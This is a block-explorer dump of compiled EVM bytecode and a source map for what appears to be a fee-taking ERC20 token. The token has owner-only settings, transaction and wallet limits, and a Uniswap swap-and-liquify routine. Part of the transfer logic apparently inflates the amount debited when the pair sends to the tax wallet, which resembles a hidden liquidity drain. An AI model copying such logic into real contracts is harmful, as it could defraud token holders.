ff16036115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f1906130db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f90613169565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117429190612812565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b4906131f7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361182b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182290613285565b60405180910390fd5b5f811161186d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186490613313565b60405180910390fd5b600a54811115806118c4575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fa906133a1565b60405180910390fd5b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166119aa57600b548161195e84611151565b6119689190612de0565b11156119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a09061342f565b60405180910390fd5b5b6009546119b630611151565b101580156119d05750600c60019054906101000a900460ff165b80156119eb5750600d54600e546119e79190612de0565b4210155b8015611a035750600c5f9054906101000a900460ff16155b8015611a5c575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a9b5750611a6b61123b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ada5750611aaa61123b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae857611ae7611de9565b5b5f819050611af68484611f49565b15611b0f5760156001015482611b0c9190612ca7565b91505b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b5b9190612dad565b925050819055508091505f82905060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611c07575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c6957611c66838660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614611ffa565b90505b8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611cb59190612de0565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d199190612812565b60405180910390a35050505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600c5f6101000a81548160ff0219169083151502179055505f60135f01541115611e98575f611e1d60135f01546121cf565b90505f811115611e965760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e8b573d5f803e3d5ffd5b505f60135f01819055505b505b5f6013600101541115611efb575f6002601360010154611eb89190612d15565b90505f81601360010154611ecc9190612dad565b90505f611ed8836121cf565b90505f811115611eed57611eec828261241b565b5b5f6013600101819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a142600e819055505f600c5f6101000a81548160ff021916908315150217905550565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ff2575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b5f8060156040518060400160405290815f820154815260200160018201548152505090505f4790508315612061576040518060400160405280600754836120419190612d15565b60175f01546120509190612dad565b815260200160176001015481525091505b5f6064835f0151886120739190612ca7565b61207d9190612d15565b90505f60648460200151896120929190612ca7565b61209c9190612d15565b90505f8211156120c1578160135f015f8282546120b99190612de0565b925050819055505b5f8111156120e5578060136001015f8282546120dd9190612de0565b925050819055505b5f81836120f29190612de0565b90508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546121409190612de0565b925050819055505f8111156121b5573073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ac9190612812565b60405180910390a35b80896121c19190612dad565b955050505050509392505050565b5f804790505f600267ffffffffffffffff8111156121f0576121ef61344d565b5b60405190808252806020026020018201604052801561221e5781602001602082028036833780820191505090505b50905030815f815181106122355761223461347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122fd9190612e27565b816001815181106123115761231061347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123773060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661158c565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8430426040518663ffffffff1660e01b81526004016123d995949392919061355e565b5f604051808303815f87803b1580156123f0575f80fd5b505af1158015612402573d5f803e3d5ffd5b5050505081476124129190612dad565b92505050919050565b6124473060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461158c565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330865f8061249261123b565b426040518863ffffffff1660e01b81526004016124b496959493929190612eb2565b60606040518083038185885af11580156124d0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906124f59190612f25565b509150505f81836125069190612dad565b111561256257612561818361251b9190612dad565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661256790919063ffffffff16565b5b505050565b804710156125aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a190613600565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff16826040516125cf9061364b565b5f6040518083038185875af1925050503d805f8114612609576040519150601f19603f3d011682016040523d82523d5f602084013e61260e565b606091505b5050905080612652576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612649906136cf565b60405180910390fd5b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561268e578082015181840152602081019050612673565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126b382612657565b6126bd8185612661565b93506126cd818560208601612671565b6126d681612699565b840191505092915050565b5f6020820190508181035f8301526126f981846126a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61272e82612705565b9050919050565b61273e81612724565b8114612748575f80fd5b50565b5f8135905061275981612735565b92915050565b5f819050919050565b6127718161275f565b811461277b575f80fd5b50565b5f8135905061278c81612768565b92915050565b5f80604083850312156127a8576127a7612701565b5b5f6127b58582860161274b565b92505060206127c68582860161277e565b9150509250929050565b5f8115159050919050565b6127e4816127d0565b82525050565b5f6020820190506127fd5f8301846127db565b92915050565b61280c8161275f565b82525050565b5f6020820190506128255f830184612803565b92915050565b5f806040838503121561284157612840612701565b5b5f61284e8582860161277e565b925050602061285f8582860161277e565b9150509250929050565b5f805f606084860312156128805761287f612701565b5b5f61288d8682870161274b565b935050602061289e8682870161274b565b92505060406128af8682870161277e565b9150509250925092565b5f602082840312156128ce576128cd612701565b5b5f6128db8482850161274b565b91505092915050565b6128ed81612724565b82525050565b5f6020820190506129065f8301846128e4565b92915050565b5f60ff82169050919050565b6129218161290c565b82525050565b5f60208201905061293a5f830184612918565b92915050565b5f6040820190506129535f830185612803565b6129606020830184612803565b9392505050565b5f6020828403121561297c5761297b612701565b5b5f6129898482850161277e565b91505092915050565b61299b816127d0565b81146129a5575f80fd5b50565b5f813590506129b681612992565b92915050565b5f602082840312156129d1576129d0612701565b5b5f6129de848285016129a8565b91505092915050565b5f80604083850312156129fd576129fc612701565b5b5f612a0a8582860161274b565b9250506020612a1b8582860161274b565b9150509250929050565b5f819050919050565b5f612a48612a43612a3e84612705565b612a25565b612705565b9050919050565b5f612a5982612a2e565b9050919050565b5f612a6a82612a4f565b9050919050565b612a7a81612a60565b82525050565b5f602082019050612a935f830184612a71565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612acd602083612661565b9150612ad882612a99565b602082019050919050565b5f6020820190508181035f830152612afa81612ac1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612b8357808604811115612b5f57612b5e612b01565b5b6001851615612b6e5780820291505b8081029050612b7c85612b2e565b9450612b43565b94509492505050565b5f82612b9b5760019050612c56565b81612ba8575f9050612c56565b8160018114612bbe5760028114612bc857612bf7565b6001915050612c56565b60ff841115612bda57612bd9612b01565b5b8360020a915084821115612bf157612bf0612b01565b5b50612c56565b5060208310610133831016604e8410600b8410161715612c2c5782820a905083811115612c2757612c26612b01565b5b612c56565b612c398484846001612b3a565b92509050818404811115612c5057612c4f612b01565b5b81810290505b9392505050565b5f612c678261275f565b9150612c728361290c565b9250612c9f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b8c565b905092915050565b5f612cb18261275f565b9150612cbc8361275f565b9250828202612cca8161275f565b91508282048414831517612ce157612ce0612b01565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d1f8261275f565b9150612d2a8361275f565b925082612d3a57612d39612ce8565b5b828204905092915050565b7f496e76616c69642053657474696e6773000000000000000000000000000000005f82015250565b5f612d79601083612661565b9150612d8482612d45565b602082019050919050565b5f6020820190508181035f830152612da681612d6d565b9050919050565b5f612db78261275f565b9150612dc28361275f565b9250828203905081811115612dda57612dd9612b01565b5b92915050565b5f612dea8261275f565b9150612df58361275f565b9250828201905080821115612e0d57612e0c612b01565b5b92915050565b5f81519050612e2181612735565b92915050565b5f60208284031215612e3c57612e3b612701565b5b5f612e4984828501612e13565b91505092915050565b5f604082019050612e655f8301856128e4565b612e7260208301846128e4565b9392505050565b5f819050919050565b5f612e9c612e97612e9284612e79565b612a25565b61275f565b9050919050565b612eac81612e82565b82525050565b5f60c082019050612ec55f8301896128e4565b612ed26020830188612803565b612edf6040830187612ea3565b612eec6060830186612ea3565b612ef960808301856128e4565b612f0660a0830184612803565b979650505050505050565b5f81519050612f1f81612768565b92915050565b5f805f60608486031215612f3c57612f3b612701565b5b5f612f4986828701612f11565b9350506020612f5a86828701612f11565b9250506040612f6b86828701612f11565b9150509250925092565b7f496e73756666696369656e74204554482062616c616e636500000000000000005f82015250565b5f612fa9601883612661565b9150612fb482612f75565b602082019050919050565b5f6020820190508181035f830152612fd681612f9d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613037602683612661565b915061304282612fdd565b604082019050919050565b5f6020820190508181035f8301526130648161302b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6130c5602483612661565b91506130d08261306b565b604082019050919050565b5f6020820190508181035f8301526130f2816130b9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613153602283612661565b915061315e826130f9565b604082019050919050565b5f6020820190508181035f83015261318081613147565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6131e1602583612661565b91506131ec82613187565b604082019050919050565b5f6020820190508181035f83015261320e816131d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61326f602383612661565b915061327a82613215565b604082019050919050565b5f6020820190508181035f83015261329c81613263565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6132fd602983612661565b9150613308826132a3565b604082019050919050565b5f6020820190508181035f83015261332a816132f1565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d61785f8201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b5f61338b602983612661565b915061339682613331565b604082019050919050565b5f6020820190508181035f8301526133b88161337f565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178575f8201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b5f613419602683612661565b9150613424826133bf565b604082019050919050565b5f6020820190508181035f8301526134468161340d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6134d981612724565b82525050565b5f6134ea83836134d0565b60208301905092915050565b5f602082019050919050565b5f61350c826134a7565b61351681856134b1565b9350613521836134c1565b805f5b8381101561355157815161353888826134df565b9750613543836134f6565b925050600181019050613524565b5085935050505092915050565b5f60a0820190506135715f830188612803565b61357e6020830187612ea3565b81810360408301526135908186613502565b905061359f60608301856128e4565b6135ac6080830184612803565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e63650000005f82015250565b5f6135ea601d83612661565b91506135f5826135b6565b602082019050919050565b5f6020820190508181035f830152613617816135de565b9050919050565b5f81905092915050565b50565b5f6136365f8361361e565b915061364182613628565b5f82019050919050565b5f6136558261362b565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c20725f8201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b5f6136b9603a83612661565b91506136c48261365f565b604082019050919050565b5f6020820190508181035f8301526136e6816136ad565b905091905056fea26469706673582212205024bef9d3d9b29ce865441e9e27845288d00553f4dd571b4eb3a4b440aaa41d64736f6c63430008150033

Deployed Bytecode Sourcemap

3359:10832:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5618:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6449:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4025:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8326:379;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5895:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6616:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3799:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4534:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5804:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6888:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9182:516;;;;;;;;;;;;;:::i;:::-;;8713:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4127:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4750:28;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;7691:481;;;;;;;;;;;;;:::i;:::-;;8976:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5998:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1341:94;;;;;;;;;;;;;:::i;:::-;;3741:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1118:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5709;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8872:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7111:225;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3608:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4072:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6123:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4785:29;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;6298:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4320:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4420:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3580:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4704:39;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;5618:83;5655:13;5688:5;;;;;;;;;;;;;;;;;5681:12;;5618:83;:::o;6449:161::-;6524:4;6541:39;6550:12;:10;:12::i;:::-;6564:7;6573:6;6541:8;:39::i;:::-;6598:4;6591:11;;6449:161;;;;:::o;4025:40::-;;;;:::o;8326:379::-;1264:12;:10;:12::i;:::-;1253:23;;:7;:5;:7::i;:::-;:23;;;1245:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8421:20:::1;3903:1;8468:2;:13;;;;:::i;:::-;8459:4;8455:1;8445:7;;:11;;;;:::i;:::-;:18;;;;:::i;:::-;8444:38;;;;:::i;:::-;8421:61;;8516:15;8501:11;:30;;:68;;;;;8554:15;8535;:34;;8501:68;8493:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;3903:1;8632:2;:13;;;;:::i;:::-;8617:11;:29;;;;:::i;:::-;8601:13;:45;;;;3903:1;8683:2;:13;;;;:::i;:::-;8664:15;:33;;;;:::i;:::-;8648:13;:49;;;;8410:295;8326:379:::0;;:::o;5895:95::-;5948:7;5975;;5968:14;;5895:95;:::o;6616:266::-;6714:4;6731:36;6741:6;6749:9;6760:6;6731:9;:36::i;:::-;6778:74;6787:6;6795:12;:10;:12::i;:::-;6845:6;6809:11;:19;6821:6;6809:19;;;;;;;;;;;;;;;:33;6829:12;:10;:12::i;:::-;6809:33;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;6778:8;:74::i;:::-;6870:4;6863:11;;6616:266;;;;;:::o;3799:58::-;;;;;;;;;;;;;;;;;;;;;;:::o;4534:74::-;;;;;;;;;;;;;:::o;5804:83::-;5845:5;3903:1;5863:16;;5804:83;:::o;6888:215::-;6976:4;6993:80;7002:12;:10;:12::i;:::-;7016:7;7062:10;7025:11;:25;7037:12;:10;:12::i;:::-;7025:25;;;;;;;;;;;;;;;:34;7051:7;7025:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6993:8;:80::i;:::-;7091:4;7084:11;;6888:215;;;;:::o;9182:516::-;9399:21;9453:18;:34;;;9423:18;:27;;;:64;;;;:::i;:::-;9399:88;;9534:16;9506:24;9524:4;9506:9;:24::i;:::-;:44;9498:53;;;;;;9562:17;9609:16;9582:24;9600:4;9582:9;:24::i;:::-;:43;;;;:::i;:::-;9562:63;;9636:54;9654:4;9661:14;;;;;;;;;;;9677:12;9636:9;:54::i;:::-;9224:474;;9182:516::o;8713:151::-;1264:12;:10;:12::i;:::-;1253:23;;:7;:5;:7::i;:::-;:23;;;1245:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8851:5:::1;8833:15;:23;;;;:::i;:::-;8810:12;:20;8823:6;8810:20;;;;;;;;;;;;;;;:46;;;;8713:151:::0;;:::o;4127:49::-;;;;:::o;4750:28::-;;;;;;;;;;;;;;:::o;7691:481::-;1264:12;:10;:12::i;:::-;1253:23;;:7;:5;:7::i;:::-;:23;;;1245:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7758:6:::1;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7749:37;;;7795:4;7802:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7749:67;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7742:4;;:74;;;;;;;;;;;;;;;;;;7861:4;7827:25;:31;7853:4;;;;;;;;;;;7827:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;7876:59;7893:4;7908:6;;;;;;;;;;;7917:17;7876:8;:59::i;:::-;7948:6;;;;;;;;;;;:22;;;7978:21;8023:4;8043:24;8061:4;8043:9;:24::i;:::-;8082:1;8099::::0;8116:7:::1;:5;:7::i;:::-;8138:15;7948:216;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7691:481::o:0;8976:200::-;1264:12;:10;:12::i;:::-;1253:23;;:7;:5;:7::i;:::-;:23;;;1245:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9080:9:::1;9055:21;:34;;9047:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9137:10;9129:28;;:39;9158:9;9129:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;8976:200:::0;:::o;5998:117::-;6064:7;6091;:16;6099:7;6091:16;;;;;;;;;;;;;;;;6084:23;;5998:117;;;:::o;1341:94::-;1264:12;:10;:12::i;:::-;1253:23;;:7;:5;:7::i;:::-;:23;;;1245:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1406:21:::1;1424:1;1406:9;:21::i;:::-;1341:94::o:0;3741:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;1118:87::-;1164:7;1191:6;;;;;;;;;;;1184:13;;1118:87;:::o;5709:::-;5748:13;5781:7;;;;;;;;;;;;;;;;;5774:14;;5709:87;:::o;8872:98::-;8957:5;8943:11;;:19;;;;;;;;;;;;;;;;;;8872:98;:::o;7111:225::-;7204:4;7221:85;7230:12;:10;:12::i;:::-;7244:7;7290:15;7253:11;:25;7265:12;:10;:12::i;:::-;7253:25;;;;;;;;;;;;;;;:34;7279:7;7253:34;;;;;;;;;;;;;;;;:52;;;;:::i;:::-;7221:8;:85::i;:::-;7324:4;7317:11;;7111:225;;;;:::o;3608:19::-;;;;;;;;;;;;;:::o;4072:48::-;;;;:::o;6123:167::-;6201:4;6218:42;6228:12;:10;:12::i;:::-;6242:9;6253:6;6218:9;:42::i;:::-;6278:4;6271:11;;6123:167;;;;:::o;4785:29::-;;;;;;;;;;;;;;:::o;6298:143::-;6379:7;6406:11;:18;6418:5;6406:18;;;;;;;;;;;;;;;:27;6425:7;6406:27;;;;;;;;;;;;;;;;6399:34;;6298:143;;;;:::o;4320:48::-;;;;;;;;;;;;;;;;;:::o;4420:26::-;;;;:::o;1443:192::-;1264:12;:10;:12::i;:::-;1253:23;;:7;:5;:7::i;:::-;:23;;;1245:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1552:1:::1;1532:22;;:8;:22;;::::0;1524:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1608:19;1618:8;1608:9;:19::i;:::-;1443:192:::0;:::o;3580:21::-;;;;;;;;;;;;;:::o;4704:39::-;;;;;;;;;;;;;;:::o;639:115::-;692:15;735:10;720:26;;639:115;:::o;7344:335::-;7454:1;7437:19;;:5;:19;;;7429:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7535:1;7516:21;;:7;:21;;;7508:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7617:6;7587:11;:18;7599:5;7587:18;;;;;;;;;;;;;;;:27;7606:7;7587:27;;;;;;;;;;;;;;;:36;;;;7655:7;7639:32;;7648:5;7639:32;;;7664:6;7639:32;;;;;;:::i;:::-;;;;;;;;7344:335;;;:::o;9753:1317::-;9855:1;9839:18;;:4;:18;;;9831:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9932:1;9918:16;;:2;:16;;;9910:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10002:1;9993:6;:10;9985:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10078:13;;10068:6;:23;;:58;;;;10095:25;:31;10121:4;10095:31;;;;;;;;;;;;;;;;;;;;;;;;;10068:58;10060:112;;;;;;;;;;;;:::i;:::-;;;;;;;;;10189:25;:29;10215:2;10189:29;;;;;;;;;;;;;;;;;;;;;;;;;10185:138;;10267:13;;10257:6;10241:13;10251:2;10241:9;:13::i;:::-;:22;;;;:::i;:::-;:39;;10233:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;10185:138;10376:8;;10348:24;10366:4;10348:9;:24::i;:::-;:36;;:65;;;;;10402:11;;;;;;;;;;;10348:65;:129;;;;;10463:13;;10451:9;;:25;;;;:::i;:::-;10431:15;:46;;10348:129;:156;;;;;10496:8;;;;;;;;;;;10495:9;10348:156;:186;;;;;10530:4;;;;;;;;;;;10522:12;;:4;:12;;;;10348:186;:219;;;;;10560:7;:5;:7::i;:::-;10552:15;;:4;:15;;;;10348:219;:250;;;;;10591:7;:5;:7::i;:::-;10585:13;;:2;:13;;;;10348:250;10344:282;;;10610:16;:14;:16::i;:::-;10344:282;10628:11;10642:6;10628:20;;10662:23;10676:4;10682:2;10662:13;:23::i;:::-;10659:61;;;10706:6;:12;;;10697:6;:21;;;;:::i;:::-;10688:30;;10659:61;10749:6;10732:7;:13;10740:4;10732:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;10766:3;10757:12;;10780:22;10805:6;10780:31;;10836:18;:24;10855:4;10836:24;;;;;;;;;;;;;;;;;;;;;;;;;10835:25;:52;;;;;10865:18;:22;10884:2;10865:22;;;;;;;;;;;;;;;;;;;;;;;;;10864:23;10835:52;10832:139;;;10920:39;10934:6;10942:4;10954;;;;;;;;;;;10948:10;;:2;:10;;;10920:13;:39::i;:::-;10903:56;;10832:139;10998:14;10983:7;:11;10991:2;10983:11;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;11043:2;11028:34;;11037:4;11028:34;;;11047:14;11028:34;;;;;;:::i;:::-;;;;;;;;9820:1250;;9753:1317;;;:::o;1643:173::-;1699:16;1718:6;;;;;;;;;;;1699:25;;1744:8;1735:6;;:17;;;;;;;;;;;;;;;;;;1799:8;1768:40;;1789:8;1768:40;;;;;;;;;;;;1688:128;1643:173;:::o;11245:818::-;4868:4;4857:8;;:15;;;;;;;;;;;;;;;;;;11341:1:::1;11304:18;:34;;;:38;11301:310;;;11358:18;11379:52;11396:18;:34;;;11379:16;:52::i;:::-;11358:73;;11462:1;11449:10;:14;11446:154;;;11491:14;;;;;;;;;;;11483:32;;:44;11516:10;11483:44;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11583:1;11546:18;:34;;:38;;;;11446:154;11343:268;11301:310;11659:1;11629:18;:27;;;:31;11626:356;;;11676:9;11718:1;11688:18;